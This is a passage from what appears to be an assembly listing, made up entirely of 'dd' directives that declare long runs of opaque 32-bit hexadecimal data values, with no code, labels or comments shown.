		dd 0D0241C0Fh, 510BB8h,	0B47BF72Bh, 0C1ED02B1h,	5B383AAAh
		dd 699578C0h, 78B30440h, 404205C4h, 161B7AAh, 170FAE88h
		dd 0C832CCh, 5887D7E8h,	196ADC4Fh, 8344730h, 852180DEh
		dd 5B0287DFh, 75F10061h, 19F03591h, 332664D8h, 0A1381038h
		dd 0A0589E26h, 91469892h, 0DB055101h, 0CE3B73Dh, 590B884Eh
		dd 6090502h, 82E3D80Fh,	0E83E4h, 22418DCFh, 83441491h
		dd 11C05F08h, 43819BEDh, 19CD8022h, 905379EDh, 17AE00ECh
		dd 3DB01C93h, 9C3E4FADh, 0E2D220Bh, 4A898FFDh, 0B07B98C0h
		dd 0F2BADB7h, 0D103A015h, 0D44F5687h, 0B72AE062h, 74E80339h
		dd 38649E2Eh, 0B3C029C8h, 6BA3FF10h, 15854F0Ah,	0E8A3DCh
		dd 3110B897h, 0D9130918h, 7C26CD8Ah, 735A46F8h,	819AED08h
		dd 4011C43Ah, 86ED1C32h, 36B11C12h, 0C5C6C01Bh,	0A596BB3Ch
		dd 10C81F4Ch, 0C858CEA2h, 0CC348D15h, 0BF17F04Ch, 19A82366h
		dd 9A091FE4h, 22D0782Bh, 4C85C22Fh, 0D46016C4h,	6F4B8DBh
		dd 83F87117h, 43971407h, 7CF9A124h, 5DC70073h, 9D316C15h
		dd 0A2123DA0h, 6C4F1F9Fh, 0BF20403h, 508364D5h,	0C600BC35h
		dd 43D89FCCh, 8120F905h, 0F0A8FAD1h, 10269438h,	0F105130Ch
		dd 8B746014h, 0BC71303h, 0E4A7D8F3h, 237FCC1h, 9F5B40Ch
		dd 1AB27C72h, 86028033h, 0BAD11861h, 0AE3888D7h, 0F50217ECh
		dd 51C1E9E3h, 0BE74C09Eh, 20C487EAh, 18CB3367h,	1BFCD950h
		dd 87DB048Ch, 623C4F54h, 0C38120D4h, 0A8061987h, 0C662D186h
		dd 4BAB1288h, 2914802Dh, 8CA4AA8Bh, 0A8896C94h,	3D34642Fh
		dd 24035268h, 0C93AD358h, 47E5AED0h, 82F5B10h, 646CC800h
		dd 12E93C98h, 290CBA71h, 514A2126h, 0FA94A0C8h,	0A2B380CEh
		dd 303E0A28h, 0A79F2172h, 0B0CB0BC4h, 8201EDA8h, 16441047h
		dd 96B3D560h, 0CC03B9E0h, 95530B54h, 12500056h,	0A0DC33F0h
		dd 0A0B04A15h, 30440A13h, 0BB90B4h, 0BDAF7405h,	0E033BC7Ah
		dd 214E1FF2h, 84419CD8h, 457CD671h, 2CF0DD56h, 0AB05E39Bh
		dd 64CB53ACh, 4F806F3Ch, 0ED35E4A6h, 0C30B3457h, 0D0B3C594h
		dd 20164038h, 8DC72F04h, 2CC82151h, 4C5597Bh, 0B57EF4EDh
		dd 0EDA0AC09h, 0AB00822Ah, 580571h, 0E0C1748Ch,	0DCEBF52Ch
		dd 5B12A8D6h, 2CD2BD89h, 0E8022B82h, 0A000C0B1h, 1EFF62Ch
		dd 0F7841639h, 350D19F5h, 2003090h, 0B0F3A281h,	0B854B64h
		dd 72D3B8F0h, 5B11889Dh, 0C4DB9C84h, 8A0481C3h,	82500CAh
		dd 30554B24h, 0C3B3E048h, 8F4464B8h, 0AA257E9Fh, 0B2947408h
		dd 52309288h, 3DDA0B05h, 9496E3BFh, 55A0C00h, 47594D7Ch
		dd 760E08A6h, 1E0032B1h, 304E9DF9h, 109220h, 462927Ch
		dd 0EAA9D60Dh, 6FCC8200h, 5F4D96CEh, 48FF0276h,	7D8D0256h
		dd 112B07Ch, 1BC89CCBh,	2D75D0C0h, 80720E9Fh, 0E0D68DF7h
		dd 0B161E50h, 70A3C694h, 660F4107h, 32258015h, 680069C3h
		dd 0B98DB2DEh, 0B8474085h, 0E5B102A4h, 2AB409A7h, 0ED409C7Eh
		dd 0B4F3BB9h, 29414D84h, 748B8402h, 0A2F03h, 4C78B729h
		dd 0E79895ECh, 0BA116B3Bh, 1D0794C9h, 2EBA00D4h, 9B87C219h
		dd 81180A34h, 0A8E84ED9h, 7C605CCCh, 5541B10h, 1CA985CFh
		dd 0E30020CBh, 0E0794C6Fh, 7E141013h, 4DA48A43h, 186E04FCh
		dd 0F4804657h, 3EFECDC5h, 0ECB5F9BBh, 0C8FCCB68h, 7D88C01Ch
		dd 70C86C2h, 0F1184E21h, 105749A1h, 804CF400h, 59867488h
		dd 0D051E90Fh, 2D419D9Fh, 6826A593h, 31C9D080h,	214C03C0h
		dd 0AE60790Bh, 0B12482C4h, 0AA3D000Dh, 0A59F0143h, 80521D84h
		dd 5AC864CBh, 0E0A8E3C5h, 7D85C7C2h, 0DD4F945Ah, 4C49E000h
		dd 0EEF24051h, 0BC79D06Ah, 0BC160420h, 0A004C4D3h, 0DA24C6F5h
		dd 0A696C16Ch, 0C8345D5Bh, 0FC324DA1h, 7BF02F4Eh, 27E788Eh
		dd 3283903Eh, 38E48EC9h, 0A3207090h, 0FD4D1672h, 2058F11Dh
		dd 810B1558h, 4048E9C5h, 1790A2C0h, 0FC06DA7h, 0F2B3CAA4h
		dd 9C412288h, 151810CCh, 5FCA52Fh, 0FAB0A3FFh, 8A2678A0h
		dd 0E044D047h, 48BB6960h, 0A856A90Bh, 91C49725h, 0B18D8018h
		dd 5CBAC717h, 310B030h,	2B7F001Bh, 29C9C476h, 0A091E320h
		dd 87DA801Ch, 8C244F51h, 9082DC44h, 389200D5h, 1C5A9FD4h
		dd 0AC160304h, 44F288C9h, 385AE780h, 0F008464h,	0B9F91DABh
		dd 16317DF0h, 0D75D3953h, 296EF2C0h, 51795471h,	1D003F18h
		dd 0D85496DDh, 1AA2E29h, 0BA7E4A6Eh, 74F5CB5Eh,	10E2479Ch
		dd 2F38C312h, 0F49ECCC8h, 0B2C2005Fh, 78D2B6A8h, 9A002C6Fh
		dd 29BC08D3h, 75120C77h, 268CB98Bh, 101DEB8h, 0F6F4C888h
		dd 202093B1h, 0E81C4823h, 2223D84h, 0C863F2C7h,	370BC3ECh
		dd 427925C9h, 58F0E553h, 5B37F700h, 0FA3FD551h,	590B6AFh
		dd 474981C9h, 820CF08Ch, 286148EEh, 834FE142h, 455B7DF1h
		dd 9048015Eh, 0F4C9CC74h, 0AD39857Bh, 74489BCBh, 87D5C019h
		dd 2C464F52h, 8300DB22h, 1EE787DDh, 0D1942Eh, 49E2B5A6h
		dd 29C10B71h, 4AFD40A8h, 4C2F3488h, 0A5102406h,	782E93C8h
		dd 330F1923h, 0ADEEE0C1h, 913248FAh, 1850D124h,	358A07ECh
		dd 0AF377Ah, 668B5748h,	2B5DFC90h, 0FA3D0910h, 2FC0C0B3h
		dd 30A1B77Ch, 50C3A543h, 41B88084h, 0A8EC1112h,	81968820h
		dd 5D6B0069h, 7A377751h, 9300F92Dh, 4E645B56h, 20731312h
		dd 0D13C63F1h, 8D2F7D25h, 0F2244856h, 532D80CEh, 184EC932h
		dd 449CE7D8h, 0A1006451h
		dd 0BA7C151Dh, 52AD1CB0h, 997BC53Ch, 10D8E261h,	754809A0h
		dd 90A15F78h, 262D76E8h, 11CECC30h, 0A9E69Ch, 954CC1A8h
		dd 5DC025A1h, 4C6B9F24h, 9DD99E82h, 3C460026h, 0DF1E8DF2h
		dd 57453DC4h, 68EC9E5Fh, 954F60C0h, 889028DDh, 39C02FFCh
		dd 0B3CA7A40h, 0E00B04FDh, 974DD13Fh, 721440h, 0C0A7FBC8h
		dd 0F9250B70h, 0D14C24h, 104D5580h, 2D0297EFh, 4C91627h
		dd 0E4402FCBh, 0A4778144h, 2722F68Fh, 1097AE5Ch, 0E28BD411h
		dd 0D0810046h, 8561896h, 5F3DD605h, 8404DC4h, 1CEA055Eh
		dd 7C7B913Ch, 172590BBh, 81029180h, 5C965067h, 8D01C873h
		dd 1D48D3DAh, 6316D430h, 2DB6350Fh, 85E018A6h, 471E5ABDh
		dd 958DC73Ch, 0C9680217h, 45214CF2h, 1C3C4FFFh,	2D5F862h
		dd 40A82604h, 474CA580h, 320091C7h, 2E8C6D62h, 0EC6F96h
		dd 0B1443A71h, 98D4ABB4h, 18A78901h, 5C1CA5E5h,	5C96BAD8h
		dd 2805D849h, 88A8BFFDh, 5400D3C0h, 5A903951h, 12CDEB3h
		dd 75CA21E7h, 0CA8D0156h, 0B8BE9458h, 3F8B7ADh,	0A7B41CC3h
		dd 1C80428Ah, 4E034191h, 4AB15600h, 5CDC21B5h, 5FD00BC5h
		dd 407925D8h, 92094818h, 35F00E12h, 256D616h, 0A51B3D4Ch
		dd 1AA64048h, 0CC46870Dh, 9BF831CBh, 0D8C42EF0h, 0D5070048h
		dd 0C6E674E8h, 3B402C94h, 0EC7FF8BEh, 0ABB1037Eh, 0FD1FEEDBh
		dd 4B99ACA0h, 9D148A09h, 3F0490D7h, 0BA013DEh, 14AC97C7h
		dd 0D08CF139h, 3896459Dh, 0DE2824h, 0FA462307h,	5A942784h
		dd 0A6D4BD02h, 69DD53h,	1F932C30h, 21311372h, 29C8E94Bh
		dd 982C6D71h, 38C19B8h,	0C65D6E6h, 1900229Eh, 49EE55C3h
		dd 345D02h, 0DE21F3BDh,	9D4D9BF6h, 0E018F130h, 94E440Fh
		dd 0E42F3DB6h, 1C11A81Dh, 0ECD9F180h, 5E079806h, 7FE8F0A8h
		dd 10F83295h, 0C0F8275Eh, 9F3C1186h, 8D00D1E4h,	0F8F18099h
		dd 4CC9B1Fh, 0C98759F0h, 538B82Eh, 794943ABh, 0DB3F88D0h
		dd 0BE500BCDh, 0C819F6B0h, 0BD61818h, 0C44F5587h, 862ED49Ch
		dd 0C7004CDEh, 1A0797CFh, 0CD2C28B0h, 27A920F8h, 5BAB1C0Bh
		dd 0D7D0E07Dh, 0E3AA168Bh, 3C048D0Bh, 8CDEBC38h, 2E16800h
		dd 7A9FB603h, 35940326h, 2404F473h, 0A1B3C0C0h,	5DE6F617h
		dd 0DE00ECE2h, 967F451Ch, 8C16113Ch, 4C044C7Ah,	0CA3377BDh
		dd 0F54F690Ch, 71B3C901h, 0C8949Fh, 0F2C24171h,	0F4B473C3h
		dd 482747h, 0AE424D4Ah,	7F5DAF9Fh, 9BFB019Ch, 46417BB0h
		dd 20843452h, 0FAE04F47h, 5D3F7502h, 6457FFh, 2D25F545h
		dd 677891BDh, 923DC210h, 2815EF30h, 5BD9819Dh, 315401F2h
		dd 7F4EB153h, 872CF048h, 9057B616h, 3A4789B3h, 1D7FA27h
		dd 2E49E78h, 28F548F0h,	223827D5h, 0B0BCC744h, 1C17465Eh
		dd 1819950h, 0F9C7426Eh, 5F599420h, 0DF4431Ch, 43A10A79h
		dd 0FB18C11h, 1B814006h, 0D0F532C1h, 6AB92011h,	0D5036094h
		dd 2A9D79C9h, 7032E100h, 4B35FA2Fh, 51D22C85h, 40CC4414h
		dd 809F95ACh, 2D6E09Eh,	0E0BFBAD8h, 18FE303Dh, 0A483919Ch
		dd 0D0B15589h, 37AC84h,	0C9AD7B4Eh, 0F47DE01Bh,	6CBB1726h
		dd 299AC300h, 124E2E3Dh, 8EE77BFh, 0D8C01664h, 584F5B87h
		dd 88E0E834h, 5D0487E0h, 2919DE5h, 0C46E3D02h, 6044B884h
		dd 2CA0ED0Eh, 70C40A81h, 0ED0016D0h, 0A6763B01h, 29E2E33Ch
		dd 7124F724h, 1E4F1816h, 81E22D1Bh, 4BA2E0BAh, 0C082FEECh
		dd 4C56C50Bh, 83ACCC94h, 0D05D3E43h, 0E63225h, 3BE8C619h
		dd 0FCB72A8h, 61C7AB04h, 44D192F1h, 3980CFCCh, 0F569259Dh
		dd 0EC002967h, 40F6F4B6h, 121DA10Fh, 3A067D10h,	3233Ch
		dd 1F7BC2F2h, 0D91A7992h, 4078E072h, 1D4AC964h,	254D5BA5h
		dd 0D55A2CC8h, 63124586h, 3059A2ACh, 5D4AF2BEh,	0C1001CE2h
		dd 644CB37Eh, 9D0509EBh, 0D216D9BBh, 8CE008A4h,	0D4FA004h
		dd 18AC84ABh, 4F98A0B7h, 7702EB6Fh, 3874B8F5h, 0C7E461C9h
		dd 882AE9E1h, 6D41235Ch, 61C90BF0h, 4BAB4160h, 0A19864B1h
		dd 3FB97E60h, 0B8FD4DC3h, 72D31244h, 14A4D38Bh,	52921808h
		dd 809E5D4h, 0A9CE5DCCh, 124484EDh, 0CF00508Eh,	4F92ED17h
		dd 7B51A6DEh, 908887C6h, 85F19A8Ch, 60440F75h, 0AC8C10C4h
		dd 8714B293h, 601A4498h, 9A14294h, 0CD62F18Eh, 751D5851h
		dd 219E3020h, 9730F231h, 947FC400h, 0F34ACABAh,	0EFAA0131h
		dd 2AC961CEh, 212425DAh, 4B6260E8h, 9915Eh, 402470B8h
		dd 94E0273h, 673D0881h,	63F03000h, 665CA002h, 5DA87EFEh
		dd 89C6C826h, 1AA52C02h, 5ACC15E0h, 0F5EB0018h,	8AA66F5Ch
		dd 9E4A5663h, 9C1334A2h, 0C38449A8h, 0DE983090h, 0C0D868A9h
		dd 0D0730B3Dh, 95E02B79h, 1C877A09h, 13E404E4h,	0EF79D058h
		dd 3D437200h, 0D8A05618h, 2128649Dh, 0DA6FC05Eh, 230086C1h
		dd 4FBC08Ch, 95D79A3Fh,	0BAAEB882h, 6DD23CA0h, 6F2CA3AAh
		dd 7200B22Bh, 964EC3E9h, 0F98109C9h, 6078CB7Ah,	0E8A40CB9h
		dd 0E60AA70Bh, 5148427Ch, 69D9219Ch, 1D75E8A4h,	24B521EEh
		dd 52C90884h, 96C18705h, 0DF0334F1h, 2418F631h,	743845BAh
		dd 75001846h, 0A1676AB4h, 0D42E04C9h, 4D083043h, 8091E79h
		dd 0A280D1AFh, 0C9A78890h, 803C96A1h, 0DE6D2E5Fh, 360025C2h
		dd 613F9103h, 4DA8FE12h, 58BC8808h, 3190D013h, 184918A0h
		dd 984DD77Eh, 108056B9h, 382B5C39h, 226911h, 17E0DDC0h
		dd 268708A5h, 96A416C9h, 85D830ABh, 612E5DD1h, 15123C02h
		dd 6D580918h, 1C3A8844h, 3FDF980Eh, 49186BAAh, 1F24D48h
		dd 3F8792C1h, 6A85466h,	0E953A895h, 2DF04843h, 241388D3h
		dd 0CB1114ADh, 0CD8204D5h, 0AD87DA18h, 6B5EB7A0h, 86CC0133h
		dd 2D49CE69h, 9922CFBBh, 0ECC48143h, 0FB2CA80Ch, 360808CAh
		dd 4B5064CFh, 187C109Eh, 7A7803ACh, 945CEC7Bh, 55C0D0B3h
		dd 7D01DB3Ch, 3F9058E5h, 0A85256B4h, 44A8E621h,	1CB80B77h
		dd 8CE051D2h, 14125475h, 0F9BCB953h, 3D31811h, 12941F0Bh
		dd 26C1C5D8h, 5D0AF17Dh, 6C523F48h, 590BE86Fh, 0F4E41891h
		dd 7A568100h, 12959A63h, 9319501Eh, 3ABE0AC7h, 0E47447D2h
		dd 305E3254h, 9E12ED10h, 94CB1A81h, 0ED18CE02h,	22E0A2FAh
		dd 0B114664Bh, 10E0431Ah, 5BC8C90Ah, 41F4F8A5h,	1588880Bh
		dd 41746429h, 96C3EF12h, 896B245Ch, 0F7FFECC6h,	89D69709h
		dd 43F870C7h, 411D3A0Ah, 41493460h, 366020BAh, 1888DC41h
		dd 870941D1h, 417C5886h, 102A6A4Ah, 0A8125021h,	18818C88h
		dd 38E43EC9h, 0F1185BA7h, 977819EBh, 0D1A06458h, 18B440CAh
		dd 124D5D16h, 0A410B58Dh, 54403700h, 5A957B4Bh,	3D38CC90h
		dd 1F4FF210h, 0B1BA4D3Ch, 0A8433862h, 0EF08F4FAh, 802E1995h
		dd 0F2287DD3h, 0A8A5C768h, 130C888h, 15532516h,	0D7C89847h
		dd 810177F0h, 0E8A847C6h, 0FBCCB480h, 5C18A887h, 0A8B77429h
		dd 0C0215B41h, 0A5B93000h, 88AED4B1h, 2C04465Eh, 210B089Bh
		dd 86F8484Ah, 2050989Ah, 0E8994DADh, 0B8F21664h, 0E470D803h
		dd 0B2888074h, 271238BFh, 9300A88Ah, 0D7B31AF0h, 628943Fh
		dd 10E9F915h, 3C82134Fh, 3C8CDAA7h, 630130A8h, 0F29BF6A2h
		dd 829C3C9Eh, 47A0EEFBh, 601D44A4h, 0F438D8Bh, 0D98111F9h
		dd 3958B4B2h, 42849016h, 7F92D470h, 7DBCA011h, 1E460959h
		dd 0A85129F3h, 0CF185A79h, 61CCEF00h, 7BA74DEEh, 0A85150DDh
		dd 0A8A300E2h, 2B261C89h, 42485553h, 90628E74h,	8875B30Fh
		dd 0F0C41369h, 0CCF7D800h
		dd 38740EC4h, 5640150Dh, 0A811A444h, 0C8302DD1h, 0B36884h
		dd 0D4F2B8FCh, 5CAE4B7Dh, 2BB5800h, 7BFD1649h, 0F7212610h
		dd 398A050Ch, 0CC34C0D6h, 9A243D54h, 4B815403h,	0D180418Dh
		dd 35096C38h, 347083E6h, 0F7A2F910h, 7089A50Bh,	5BE41465h
		dd 0E15ADC60h, 0BEA18211h, 6C6BE400h, 97D679CCh, 2D207F12h
		dd 6FE0B4A6h, 621FA148h, 53DCC708h, 4C005712h, 3FE09249h
		dd 1287F0DBh, 0F9D096D1h, 7A051340h, 0C80B3004h, 0CB9846EFh
		dd 410059CDh, 0A33E66D4h, 1440BC9Eh, 88D6C4C2h,	0F78E4862h
		dd 9D69F828h, 80111140h, 0DF8D6A75h, 33B9B019h,	0CA60DC64h
		dd 0C74600A4h, 948AC181h, 4D4401DCh, 6827405Bh,	15923CCh
		dd 8199ED13h, 88151832h, 0ED001B33h, 2234DC6Fh,	14CFF635h
		dd 0F8CC07A3h, 14F83627h, 0B1DB2509h, 6708300Ah, 0C372797h
		dd 0C571105Ah, 9687FA24h, 37B70828h, 80EF1D34h,	0ECC38B6Eh
		dd 0A026322Ch, 0E1087C65h, 4726024Ah, 0C8A0D6CBh, 0F00AE8CFh
		dd 7E1B9600h, 9BF945C9h, 0A03A02EBh, 0B6C116ADh, 0A10CFCDCh
		dd 4F69C0h, 0B050879h, 0FE369928h, 5BC9A83Dh, 6A0C04C0h
		dd 0AE470E4Ah, 0A6806626h, 3A7E4CCCh, 0CBAAC105h, 0D8A85B64h
		dd 0A024612Dh, 0E020EBC4h, 2921D24h, 0A23F38BCh, 4707C55Fh
		dd 59DE2750h, 13B4043Dh, 0A5C98740h, 0D40B2ED0h, 0E32001B3h
		dd 3C62C694h, 47F82673h, 131F1321h, 0C8C48B08h,	44CCC0DDh
		dd 85007B7Ch, 59A5AB77h, 9F759DF7h, 4C106080h, 7B08AC25h
		dd 0BD87C9FCh, 1CD4F0CBh, 57ECF724h, 0C23D0A3Ch, 0D1118470h
		dd 4C86C90Ah, 0F7843918h, 817B7277h, 70D13F08h,	2B43AD48h
		dd 0C890E222h, 9EE2620h, 48457BADh, 65452464h, 0C0908802h
		dd 8042A548h, 0E13C185h, 34CE03F4h, 0C2CF1988h,	5C01D0FDh
		dd 651024h, 93160EAEh, 1463EC1Dh, 0B8D6CCA1h, 95BB3C0Fh
		dd 0C0272EE0h, 2602974Bh, 0F550B445h, 4F38509Dh, 10F218h
		dd 36DC2773h, 0A99038h,	0D92C306h, 7710ADB3h, 9739718h
		dd 1A90A270h, 605B8498h, 573994C0h, 42FFB083h, 2FB64F81h
		dd 5123D4h, 0FB2F7FAAh,	8601666Ch, 46487CC7h, 8022A8E8h
		dd 7A83AA00h, 9D1B6ED0h, 2D2C9009h, 0D8901897h,	75EE0362h
		dd 464E6CDFh, 0D7132671h, 0C43A3120h, 4C00DB23h, 0C5A92F61h
		dd 39CE0B74h, 2002515Bh, 0ECDAE816h, 0F8BE0920h, 0D3922CF1h
		dd 9D16BE2Ch, 1F00F676h, 0F50CAB18h, 2ED61845h,	19BCD4BFh
		dd 0E4F8216Eh, 4D24F548h, 61643C15h, 0B9C20B45h, 474A7C44h
		dd 5A8B9030h, 349C0B87h, 0DCA2B553h, 0F098B186h, 98245AB9h
		dd 0E1071176h, 798B1D63h, 7C4DA51Ch, 9DE5AFC0h,	8C28400Dh
		dd 0E312B4B8h, 24F25BEDh, 1B30D1F2h, 9D7670FAh,	231F9CE4h
		dd 833A6FECh, 97E55F9Bh, 812180DEh, 935100E3h, 0FD014805h
		dd 2C16D79Ch, 38041FA8h, 1302E9F6h, 0EC506573h,	2F85A214h
		dd 13422B8h, 2B8BF62Ch,	50C7BA9Dh, 0A05771ACh, 58871896h
		dd 0A100586h, 137B2Dh, 0A0164E39h, 91848825h, 875D5002h
		dd 0D4F746F9h, 174676F4h, 8A8E1A39h, 0A3E07666h, 484D5FE2h
		dd 0AE12DDEAh, 28F19002h, 99E91CF0h, 6E4A3CB0h,	11A6009Ch
		dd 0C39AE03Fh, 1B97275Dh, 8F9DA4C0h, 404AE4Bh, 47042862h
		dd 1640F997h, 10F0B845h, 6F408A30h, 48A4808Fh, 4656ACBEh
		dd 0E1540018h, 79128DBh, 44240B86h, 44734548h, 4F835D0h
		dd 6D8B44CAh, 0BDC4810Fh, 41E00652h, 54D03E13h,	0D40ADB9h
		dd 96B0430Fh, 88844EC9h, 0BD2BC0DEh, 7E053555h,	9443D099h
		dd 4F47D421h, 13BF18F0h, 0FCD45F3Bh, 20D28FB0h,	7C99A566h
		dd 0A83700DDh, 85E206FAh, 4F1633F1h, 0E80046D7h, 3F08BC56h
		dd 49AB04BBh, 0F4ED5F4Dh, 2652FA54h, 0A940218h,	76C9B37Ah
		dd 0DD465E58h, 0BDA45500h, 4A2BD0A5h, 73A6A309h, 6858AC39h
		dd 44844E0Ah, 54EC598h,	0B8BC9DA1h, 0D2DDC60Ch,	10BA3F7Eh
		dd 0C0882F4Ah, 2AED2743h, 0C9200864h, 69D4BE57h, 5C00CC71h
		dd 0C425BCD0h, 0EE417C92h, 0C4BD9D06h, 0C9C35C00h, 9688AA4h
		dd 96C5C67Bh, 0B22E0807h, 407EFD8Dh, 4F467Ch, 30FCE229h
		dd 1E8EB4C6h, 0B7CC0B86h, 197B61D1h, 5F046775h,	0E0029020h
		dd 3B010237h, 1865854Fh, 740C9109h, 0B0E5C610h,	56D9660Bh
		dd 0B0D8F2E3h, 9F83F638h, 0EC0E740Bh, 3BC70A71h, 0CC0CACC5h
		dd 24FA203Ah, 25B0674Bh, 0A7E8989Bh, 3D3CB07Bh,	0D1670B58h
		dd 31E440CEh, 8B900121h, 51F54B96h, 4358816Ah, 0B5A11DF1h
		dd 30B69854h, 9A3F6EE0h, 0FC03034Fh, 7FBD85C9h,	0ECAD5221h
		dd 93FB127Ch, 0AFD04FB0h, 4D2E20BDh, 9132F095h,	81C076B0h
		dd 0DC0D737Dh, 0FE5420FCh, 11AB8140h, 1446CD5Bh, 0E85C2ED9h
		dd 0AB3B8C4Eh, 0BB9512F2h, 130040F2h, 3BCE3EA6h, 0E00AA8Eh
		dd 27EEFFDEh, 5287C9FAh, 0C780F8C0h, 973C682Bh,	0BE100497h
		dd 22C0E257h, 0A0F4A0D5h, 21D040A2h, 78D2504Eh,	0DA5CC0E0h
		dd 380F6F1Eh, 3DFF2290h, 16ADFDEFh, 6F73E472h, 0DCF3F0B1h
		dd 0BB684A60h, 8808A65Ah, 0D4002867h, 8220A4D9h, 0BF7F2940h
		dd 5A11749Fh, 0CCC82D8Ch, 9488C988h, 0AB3ABED0h, 10471967h
		dd 1876648Ah, 701BE0C4h, 99D4F01h, 0ACF8BA1Fh, 0A6E877h
		dd 18A1511Ch, 13D5A826h, 91109D9Dh, 2A388052h, 101271Ch
		dd 0B768AE8Ah, 20F5CDC6h, 8D5C8E3Ch, 0CEDE8804h, 0AB0F4FC1h
		dd 88161894h, 4F0F966Eh, 0E00D2EBAh, 0F7C135B1h, 979B01E0h
		dd 2FD2403Eh, 0D03E7B62h, 28050423h, 28802630h,	0B520C2B3h
		dd 8189464h, 0ED82E8C4h, 95E5134Eh, 2504E069h, 0A0E45979h
		dd 0BFA980F1h, 3CD0C0D8h, 0E1850119h, 0F7D725A3h, 8289C09Bh
		dd 610B7FEEh, 45D88439h, 6715E47Ch, 0B2BAEAF0h,	3C6B0191h
		dd 3FC46356h, 0B0D13F92h, 8C287B45h, 811D6622h,	0BC28EAD1h
		dd 0BC96408h, 792140C1h, 0E6009859h, 0FFB6187Dh, 22C33CFh
		dd 3D9117F5h, 874A792h,	0AE4B2F00h, 27873931h, 5817549Ch
		dd 1E80D191h, 0AB3C8ACBh, 80957B2Dh, 0DB3FC370h, 0C185099Dh
		dd 9851E41Ah, 0C71818D9h, 0AA50AB00h, 24024264h, 40C64FCBh
		dd 0E845BF0h, 6E003FECh, 5D9FBCDAh, 59733171h, 1C56D421h
		dd 5616FF2h, 0FCC4D6BAh, 776F520h, 67B2C985h, 8144C502h
		dd 5FC314h, 5010A2C1h, 180AC2Bh, 94AD50FCh, 0F8638367h
		dd 6C00FD60h, 0A7AE3D8Fh, 0DF231C73h, 0A9338051h, 9054C03h
		dd 80EABF0Bh, 609C1A0Fh, 0B32B48Ch, 17DFF2C7h, 5862C0CAh
		dd 87027C51h, 0D28B92F9h, 0E635208Ch, 0A296BB1Eh, 2007993Fh
		dd 51E0EC11h, 83098145h, 5AE98769h, 2BF14CCCh, 0E1595C30h
		dd 7D80E2A2h, 414E2C08h, 73E98948h, 4676D85Ch, 949F005Bh
		dd 0F18FCD12h, 66C8BCA6h, 0EF062956h, 139B45ACh, 4F6D20E8h
		dd 0D43F1207h, 0F261594Dh, 787D6B23h, 0C61DC908h, 697B1302h
		dd 0E2600C61h, 0B888C74Bh, 5C178AB3h, 0C874E11h, 0E0801EDEh
		dd 70879F47h, 2E44E4BEh, 4484C31h, 17F2F0F2h, 7DDE4E30h
		dd 6A153BD9h, 52F2C8Ch,	56037221h, 1EE99842h, 124AA3FFh
		dd 4096C7Eh, 56C53810h,	9EA34B1h, 880750F9h, 6380CE8Fh
		dd 183A376h, 0D0CAEC08h, 30C5AE22h, 670A67Ah, 318D4B05h
		dd 80D2D2F4h, 0BF304C1Eh, 1C912097h, 0BAB91A80h, 21180FE2h
		dd 0BD10747h, 14B9CCh, 0C99923F5h, 6B097E09h, 81985215h
		dd 1D5B13E0h, 0E398122Bh, 0A1B30018h, 394E9386h, 701F5C60h
		dd 7B8C4DBCh, 0FA1D00BAh
		dd 0D0F8F48Fh, 0B82F8990h, 4B4CC401h, 4BA8081Ah, 0CCF92800h
		dd 95A05539h, 9EE0C4AEh, 71025DACh, 0B7336601h,	24750D44h
		dd 0B289FCh, 0BEB64260h, 554F493h, 6E775B01h, 10C3AA43h
		dd 3090A201h, 66B5C8A4h, 7D4A0FB0h, 43E2DCE0h, 50F16FCAh
		dd 991815D9h, 1F6C5B13h, 3B259E01h, 97C9545Fh, 706866EDh
		dd 5834A440h, 4E86018h,	0B101028Ch, 39430B26h, 5026B07Eh
		dd 6DE2A08h, 700FADB3h,	0F0E9320h, 0A75DBAAEh, 56B48453h
		dd 0B05CA6E0h, 13348FF6h, 2044C173h, 9D39C310h,	7C1C2BBFh
		dd 1E9040E0h, 0B324A386h, 86C968B9h, 2741455Ch,	3849A04Fh
		dd 515BD05Dh, 0EB91E800h, 0B5B985D4h, 93FA103Fh, 0CECD2810h
		dd 27E7B025h, 3269560h,	6A8C4178h, 0F9DC6420h, 5A7A0E2Eh
		dd 79E0CA83h, 502BFDC6h, 9469170Fh, 813B00E7h, 978B8AC9h
		dd 0E04E146Fh, 0AE554043h, 540F0529h, 0BC41FCC7h, 88B480D0h
		dd 385B5D6Eh, 0CA80F647h, 0F3EE7BCEh, 77FE95D5h, 46EEC9FCh
		dd 554431DCh, 6CD2B845h, 87D0A191h, 79BCFB96h, 0C7B54E04h
		dd 863CD23Bh, 5F0F8071h, 89C689C2h, 814056D0h, 0D2FD1D93h
		dd 8097F66h, 54B0C273h,	0E17F4054h, 0D60034C8h,	3336A9E0h
		dd 451995Eh, 0B61D70Eh,	0ECC4ECCFh, 0FEE08C16h,	66BE7B00h
		dd 94908724h, 587A4Eh, 11A84429h, 9FA7E83Fh, 0D0EDC500h
		dd 7664DEE7h, 458725C6h, 1F117017h, 81EEEA84h, 42B090Ch
		dd 0CB2C23BBh, 0E14C91Ch, 0BB226600h, 1290D250h, 0C2AAA10Ah
		dd 38413DDCh, 9800102h,	23C83E2Fh, 0AE1C3A1Ch, 0B59B813Fh
		dd 3CE549B3h, 7E4AC170h, 0F5C5C6C2h, 0E4B769AFh, 61CD4E07h
		dd 0CC8A8B40h, 47FA0073h, 0E4AAEAA6h, 891C767h,	4A84AF15h
		dd 15231C2Fh, 51D4003Bh, 7A19CAB9h, 0E4C619BBh,	0D212D082h
		dd 15C454C7h, 0AF353360h, 64F50602h, 0DA9E9B29h, 2D4D008Ch
		dd 0CE79F656h, 0A00FEB4h, 33C28070h, 2E26DC4h, 0D18762B8h
		dd 5605D77Eh, 7FA5FC04h, 40AB9D04h, 1A152593h, 3479F02Fh
		dd 0F4310ED9h, 0DB44AFCCh, 0BD9513CDh, 776C9111h, 0E1C70333h
		dd 59912DA1h, 73AB0957h, 2EE07A99h, 9782FAEh, 0FC6F1401h
		dd 0DDD4D340h, 3FAA07C9h, 429682C2h, 0DC688392h, 0CCB6E32Fh
		dd 876E00F6h, 4F475C9Bh, 4D031EA7h, 7BF52C01h, 0B306F8A5h
		dd 4C5648A0h, 256D7101h, 925F815Bh, 188273E1h, 0FC38F73Ch
		dd 0E2009197h, 0EEDB74EDh, 862193h, 0AC9F2243h,	0C963A06Fh
		dd 0F75EDCB6h, 2007418h, 423E87A4h, 0EC20F1BEh,	965ED9h
		dd 7377F5BCh, 170418C4h, 93F24041h, 81C400AAh, 3D6C58F6h
		dd 919DCA16h, 0CC2F54ECh, 0E6D7F820h, 5D03A20Eh, 0A1198394h
		dd 403CA84Fh, 2489041Fh, 0AC0A5671h, 13571374h,	2149C801h
